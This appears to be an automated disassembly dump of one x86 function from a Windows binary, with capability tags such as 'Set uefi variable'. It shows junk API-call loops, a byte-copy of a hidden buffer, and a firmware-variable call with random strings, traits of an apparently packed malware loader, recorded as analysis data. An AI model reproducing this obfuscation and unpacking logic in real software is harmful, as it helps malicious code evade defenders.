Function at 0x409d90
Capabilities:
Get common file path
Get file attributes
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x441004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x443304]
mov ecx, dword [0x272bcb4]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x180
jne 0x409dcd
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x409de1
mov dword [0x443e08], edi
mov dword [0x443e0c], esi
inc eax
cmp eax, 0x12376ec
jl 0x409dc0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
mov dword [0x272bcb4], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x409e09
mov eax, dword [0x441ef8]
mov dword [0x272bde4], eax
cmp ecx, 0x3c
jne 0x409e19
push ebx
push ebx
push ebx
call edi
mov ecx, dword [0x272bcb4]
inc esi
cmp esi, 0x5f6c74
jl 0x409df7
cmp ecx, 0x7c
jne 0x409e99
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.USER32.dll_UpdateWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
lea edx, [ebp - 0x80c]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp dword [0x272bcb4], 0x2d
jne 0x409e7b
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x43f884
push 0x443d80
call fcn.0040100f
push ebx
call fcn.00401116
mov ecx, dword [0x272bcb4]
add esp, 0xc
cmp ecx, 0x110a
jne 0x409f10
mov dword [0x272bca8], ebx
mov dword [0x272bcac], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.yaruxufujesagufa
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x804]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push ebx
push ebx
call fcn.004010c0
push ebx
push ebx
call fcn.004010c0
push ebx
call fcn.00409884
push ebx
push ebx
call fcn.004010c0
push ebx
push ebx
call fcn.00401121
push ebx
call fcn.0040108c
add esp, 0x28
call fcn.004099b0
xor esi, esi
cmp dword [0x272bcb4], ebx
jbe 0x409f7c
mov edi, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, 0x19b0
lea ebx, [ebx]
mov edx, dword [0x272bde4]
mov dword [ebp - 0x808], edx
mov eax, 0xa231
add dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x808]
mov cl, byte [eax + esi]
mov edx, dword [0x272bafc]
mov byte [edx + esi], cl
cmp dword [0x272bcb4], 0x5ab
jne 0x409f73
push 0
push 0
push 0
call edi
mov dword [0x272bb00], ebx
inc esi
cmp esi, dword [0x272bcb4]
jb 0x409f30
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00409a20
call fcn.004099f0
call fcn.00409d50
call fcn.004099e0
mov ebx, dword [ebp - 0x82c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
xor esi, esi
lea esp, [esp]
lea eax, [ebp - 0x404]
push eax
call edi
cmp esi, 0x408e
jle 0x409fc9
cmp ebx, 0xf5bed7
jne 0x409fd2
inc esi
cmp esi, 0x687ed2
jl 0x409fb0
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x808], 0x1e4165
mov ebx, 0x8e46a6f0
lea ecx, [ecx]
cmp dword [0x272bcb4], 0xcc1
jne 0x40a00c
push 0
push 0
push str.rilatefusizuhamejenimapihiyisu
push str.cubejugumol
call esi
cmp dword [0x272bcb4], 0x7c4
mov dword [0x272bcb0], ebx
jne 0x40a020
call edi
sub dword [ebp - 0x808], 1
jne 0x409ff0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret